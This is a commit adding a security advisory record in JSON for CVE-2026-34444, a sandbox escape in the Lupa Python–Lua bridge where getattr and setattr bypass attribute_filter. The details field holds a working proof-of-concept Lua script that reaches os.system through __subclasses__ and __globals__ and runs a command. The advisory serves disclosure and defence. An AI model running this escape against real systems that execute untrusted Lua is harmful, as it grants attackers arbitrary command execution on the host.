Skip to content

Commit aaecf5c

Browse files
1 parent 94ce0c5 commit aaecf5c

1 file changed

Lines changed: 62 additions & 0 deletions

File tree

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-69v7-xpr6-6gjm",
4+
"modified": "2026-04-07T15:48:13Z",
5+
"published": "2026-04-07T15:48:13Z",
6+
"aliases": [
7+
"CVE-2026-34444"
8+
],
9+
"summary": "Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr",
10+
"details": "### Summary\nThe `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.\n\nHowever, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.\n\n### Details\nThe `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.\n\nIn practice, it only applies to direct attribute access:\n- `obj.attr` → filtered\n- `getattr(obj, \"attr\")` → not filtered\nBecause of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.\n\nAn attacker can use getattr to-\n- Access `__class__`\n- Walk the `__mro__` chain\n- Call `__subclasses__()`\n- Iterate over available classes\n- Find a function that exposes `__globals__`\n- Retrieve something like `os.system`\n\nAt that point, arbitrary command execution becomes straightforward.\n\nThis effectively breaks the security boundary that `attribute_filter` is expected to enforce.\n\n\n### PoC\nThe following example shows how the filter can be bypassed to execute `os.system`:'\n```\nimport lupa\nfrom lupa import LuaRuntime\n\ndef protected_attribute_filter(obj, attr_name, is_setting):\n if isinstance(attr_name, str) and attr_name.startswith('_'):\n raise AttributeError(f\"Access to '{attr_name}' is forbidden\")\n return attr_name\n\nlua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)\n\nclass UserProfile:\n def __init__(self, name): self.name = name\n\nlua.globals().user = UserProfile(\"test\")\n\nlua.execute(\"\"\"\nlocal py = python.builtins\nlocal getattr = py.getattr\nlocal setattr = py.setattr\n\nlocal cls = getattr(user, \"__class__\")\nlocal _, obj_cls = getattr(cls, \"__mro__\")\n\nlocal subs = getattr(obj_cls, \"__subclasses__\")()\nfor _, c in ipairs(subs) do\n if tostring(c):find(\"os._wrap_close\") then\n local system = getattr(getattr(c, \"__init__\"), \"__globals__\")[\"system\"]\n setattr(user, \"run\", system)\n user.run(\"id\")\n end\nend\n\"\"\")\n```\n\n\n### Impact\nAn attacker who can execute Lua code can:\n- Bypass the `attribute_filter`\n- Access Python internals\n- Traverse the object graph\n- Reach execution primitives\n\nThis leads to full sandbox escape and arbitrary command execution in the host Python process.\nAny application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "lupa"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "2.6"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34444"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/scoder/lupa"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-284",
55+
"CWE-693"
56+
],
57+
"severity": "HIGH",
58+
"github_reviewed": true,
59+
"github_reviewed_at": "2026-04-07T15:48:13Z",
60+
"nvd_published_at": "2026-04-06T16:16:35Z"
61+
}
62+
}

0 commit comments

Comments
 (0)